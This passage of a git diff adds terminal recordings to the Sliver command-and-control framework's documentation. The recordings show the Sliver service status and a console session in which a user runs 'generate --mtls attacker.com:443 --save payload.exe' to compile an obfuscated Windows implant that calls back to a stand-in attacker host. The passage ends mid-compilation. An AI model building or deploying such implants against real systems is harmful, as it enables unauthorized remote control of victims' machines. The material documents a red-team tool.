\u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[1m[server] \u001b[0m\u001b[4msliver\u001b[0m > \u001b[0m \b"] -[5.29313, "o", "\u001b[J\u001b[2K\r"] +[60.29313, "o", "\u001b[J\u001b[2K\r"] diff --git a/docs/sliver-docs/public/asciinema/service-status-1.cast b/docs/sliver-docs/public/asciinema/service-status-1.cast new file mode 100644 index 0000000000..9be700924f --- /dev/null +++ b/docs/sliver-docs/public/asciinema/service-status-1.cast @@ -0,0 +1,36 @@ +{"version": 2, "width": 137, "height": 38, "timestamp": 1702829213, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}} +[0.086575, "o", " \r\r"] +[0.139221, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"] +[0.139878, "o", "\u001b[?1h\u001b="] +[0.140711, "o", "\u001b[?2004h"] +[1.228241, "o", "\u001b[1ms\u001b[0m"] +[1.229112, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"] +[1.485473, "o", "\b\u001b[0m\u001b[4m\u001b[37ms\u001b[4m\u001b[37my\u001b[24m\u001b[39m\u001b[39m \u001b[39m \u001b[39m \u001b[39m \b\b\b\b"] +[1.602104, "o", "\b\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37my\u001b[4m\u001b[37ms\u001b[24m\u001b[39m"] +[1.692461, "o", "\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37mt\u001b[24m\u001b[39m"] +[1.82293, "o", "\b\u001b[4m\u001b[37mt\u001b[4m\u001b[37me\u001b[24m\u001b[39m"] +[1.952538, "o", "\b\u001b[4m\u001b[37me\u001b[4m\u001b[37mm\u001b[24m\u001b[39m"] +[2.224932, "o", "\b\u001b[4m\u001b[37mm\u001b[4m\u001b[37mc\u001b[24m\u001b[39m"] +[2.479643, "o", "\b\u001b[4m\u001b[37mc\u001b[4m\u001b[37mt\u001b[24m\u001b[39m"] +[2.609046, "o", "\u001b[8D\u001b[24m\u001b[36ms\u001b[24m\u001b[36my\u001b[24m\u001b[36ms\u001b[24m\u001b[36mt\u001b[24m\u001b[36me\u001b[24m\u001b[36mm\u001b[24m\u001b[36mc\u001b[24m\u001b[36mt\u001b[36ml\u001b[39m"] +[2.8689, "o", " "] +[3.562389, "o", "\u001b[1ms\u001b[0m"] +[3.646269, "o", "\b\u001b[0mst"] +[3.763246, "o", "a"] +[3.923354, "o", "t"] +[3.944407, "o", "u"] +[4.055406, "o", "s"] +[4.168779, "o", " "] +[4.353452, "o", "\u001b[1ms\u001b[0m"] +[4.571669, "o", "\b\u001b[1ms\u001b[1ml\u001b[0m"] +[4.582569, "o", "\b\b\u001b[0ms\u001b[0mli"] +[4.625017, "o", "v"] +[4.77009, "o", "e"] +[4.848588, "o", "r"] +[5.619327, "o", "\u001b[?1l\u001b>"] +[5.623929, "o", "\u001b[?2004l\r\r\n"] +[5.636017, "o", "\u001b[?1h\u001b=\r"] +[5.639311, "o", "\u001b[0;1;32m●\u001b[0m sliver.service - Sliver\u001b[m\r\n Loaded: loaded (\u001b]8;;file://kali/etc/systemd/system/sliver.service\u0007/etc/systemd/system/sliver.service\u001b]8;;\u0007; \u001b[0;1;38;5;185mdisabled\u001b[0m; preset: \u001b[0;1;38;5;185mdisabled\u001b[0m)\u001b[m\r\n Active: \u001b[0;1;32mactive (running)\u001b[0m since Sun 2023-12-17 16:02:25 UTC; 4min 33s ago\u001b[m\r\n Main PID: 4942 (sliver-server)\u001b[m\r\n Tasks: 9 (limit: 4624)\u001b[m\r\n Memory: 20.2M\u001b[m\r\n CPU: 152ms\u001b[m\r\n CGroup: /system.slice/sliver.service\u001b[m\r\n └─\u001b[0;38;5;245m4942 /root/sliver-server daemon\u001b[0m\u001b[m\r\n\u001b[m\r\nDec 17 16:02:25 kali systemd[1]: Started Sliver.\u001b[m\r\n"] +[5.639877, "o", "\r\u001b[K\u001b[?1l\u001b>"] +[15.640687, "o", " \r\r"] + diff --git a/docs/sliver-docs/public/asciinema/sliver-generate-1.cast b/docs/sliver-docs/public/asciinema/sliver-generate-1.cast new file mode 100644 index 0000000000..f922a44593 --- /dev/null +++ b/docs/sliver-docs/public/asciinema/sliver-generate-1.cast @@ -0,0 +1,905 @@ +{"version": 2, "width": 137, "height": 38, "timestamp": 1702834090, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}} +[0.084636, "o", " \r\r"] +[0.137311, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"] +[0.137854, "o", "\u001b[?1h\u001b="] +[0.138805, "o", "\u001b[?2004h"] +[1.126586, "o", "\u001b[1ms\u001b[0m"] +[1.127617, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"] +[1.233311, "o", "\b\u001b[1ms\u001b[39m\u001b[1ml\u001b[0m"] +[1.341486, "o", "\b\b\u001b[1ms\u001b[1ml\u001b[39m\u001b[1mi\u001b[0m"] +[1.645373, "o", "\b\u001b[1mi\u001b[39m\u001b[1mv\u001b[0m\u001b[38;2;153;153;153mv\u001b[38;2;153;153;153me\u001b[38;2;153;153;153mr\u001b[39m\b\b\b"] +[1.651818, "o", "\b\u001b[1mv\u001b[39m\u001b[1me\u001b[0m\u001b[39m \u001b[39m \b\b"] +[1.652699, "o", "\u001b[38;2;153;153;153mr\u001b[39m\b"] +[1.724472, "o", "\b\b\b\b\b\u001b[0m\u001b[36ms\u001b[0m\u001b[36ml\u001b[0m\u001b[36mi\u001b[0m\u001b[36mv\u001b[0m\u001b[36me\u001b[36mr\u001b[39m"] +[2.169426, "o", "\u001b[?1l\u001b>"] +[2.172204, "o", "\u001b[?2004l\r\r\n"] +[2.23265, "o", "Connecting to localhost:31337 ...\r\n"] +[2.281037, "o", "\u001b[m"] +[2.283301, "o", "\u001b[32m\r\n ███████╗██╗ ██╗██╗ ██╗███████╗██████╗\r\n ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗\r\n ███████╗██║ ██║██║ ██║█████╗ ██████╔╝\r\n ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗\r\n ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║\r\n ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝\r\n\u001b[0m\r\nAll hackers gain epic\r\n"] +[2.283811, "o", "\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"] +[2.28395, "o", "\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[2.837538, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mg"] +[3.251842, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mge"] +[3.392601, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgen"] +[3.623616, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgene"] +[3.741996, "o", "\u001b[J\u001b[2K\r"] +[3.742093, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgener"] +[3.83311, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate "] +[4.377508, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate -"] +[4.529721, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --"] +[4.78866, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --m"] +[4.941, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mt"] +[5.111754, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtl"] +[5.516698, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls"] +[5.734855, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls "] +[6.152158, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls a"] +[6.361633, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls at"] +[6.522567, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls att"] +[6.664864, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls atta"] +[6.776953, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attac"] +[7.109455, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attack"] +[7.414159, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacke\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker"] +[7.645484, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker."] +[7.803638, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.c"] +[7.935967, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.co"] +[8.067311, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com"] +[8.852734, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:"] +[9.168342, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:4"] +[9.509949, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:44"] +[9.570568, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443"] +[9.902052, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 "] +[10.820721, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 -"] +[11.289457, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --s"] +[11.428343, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --sa"] +[11.800929, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --sav"] +[11.99739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save "] +[13.047743, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save p"] +[13.076903, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save pa"] +[13.180503, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save pay"] +[13.371461, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payl"] +[13.541123, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save paylo"] +[13.701165, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payloa"] +[13.891736, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload"] +[14.228103, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload."] +[14.278758, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.e"] +[14.505456, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.ex"] +[14.748707, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe"] +[14.995965, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe\r\n"] +[14.996554, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new windows/amd64 implant binary\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m\u001b[1mSymbol obfuscation is enabled\u001b[0m\r\n"] +[15.09658, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[15.196943, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[15.297363, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[15.397811, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[15.498252, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[15.598621, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[15.698978, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[15.799391, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[15.899706, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[16.000093, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[16.100436, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[16.200834, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[16.301236, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[16.402302, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[16.502202, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[16.602606, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[16.703545, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[16.803923, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[16.904345, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[17.004804, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[17.107086, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[17.207448, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[17.30791, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[17.409979, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[17.510282, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[17.610686, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[17.711194, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[17.81158, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[17.91203, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[18.012607, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[18.113031, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[18.213472, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[18.313829, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[18.414224, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[18.514641, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[18.615006, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[18.715383, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[18.815764, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[18.916181, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[19.01654, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[19.116966, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[19.217444, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[19.317961, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[19.418386, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[19.518879, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[19.619285, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[19.719688, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[19.820085, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[19.920517, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[20.020952, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[20.121332, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[20.221723, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[20.322053, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[20.422471, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[20.522794, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[20.623194, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[20.723532, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[20.824103, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[20.924528, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[21.024932, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[21.125328, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[21.225707, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[21.326098, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[21.426502, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[21.526905, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[21.62734, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[21.727834, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[21.828239, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[21.928617, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[22.029032, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[22.129448, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[22.229866, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[22.330268, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[22.430544, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[22.531002, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[22.631396, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[22.731835, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[22.83223, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[22.932662, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[23.033073, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[23.13349, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[23.233919, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[23.334332, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[23.434734, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[23.53517, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[23.635537, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[23.735983, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[23.83638, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[23.936783, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[24.037207, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[24.137625, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[24.23802, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[24.338431, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[24.438844, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[24.539315, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[24.639859, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[24.740283, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[24.840563, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[24.940951, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[25.041341, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[25.141754, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[25.242166, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[25.342538, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[25.442828, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[25.543274, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[25.643646, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[25.744048, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[25.844474, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[25.944862, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[26.04527, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[26.145669, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[26.246022, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[26.346427, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[26.446809, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[26.547437, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[26.647862, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[26.748265, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[26.848674, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[26.949112, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[27.049475, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[27.149909, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[27.250325, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[27.350729, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[27.451181, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[27.551524, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[27.651964, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[27.752368, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[27.852712, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[27.953117, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[28.053487, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[28.153895, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[28.254303, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[28.354715, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[28.455174, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[28.55554, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[28.655917, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[28.756324, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[28.856721, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[28.957117, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[29.057518, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[29.157906, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[29.258323, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[29.358717, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[29.459162, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[29.559542, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[29.659969, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[29.760376, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[29.86079, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[29.961203, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[30.061614, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[30.162019, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[30.262452, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[30.362853, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[30.46329, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[30.563723, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[30.664103, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[30.764499, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[30.864915, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[30.96533, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[31.06574, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[31.166147, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[31.266538, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[31.366946, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[31.467353, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[31.567944, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[31.668315, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[31.768691, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[31.869066, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[31.969645, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[32.070051, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[32.170449, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[32.270833, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[32.372544, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[32.472682, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[32.573099, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[32.673483, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[32.773934, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[32.874324, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[32.974716, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[33.075158, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[33.175511, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[33.275897, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[33.376301, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[33.476709, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[33.577097, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[33.677502, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[33.777879, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[33.878273, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[33.978686, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[34.079087, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[34.179484, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[34.279882, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[34.380285, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[34.480707, "o", "\r\u001b[2K ⠸ Compiling, please wait 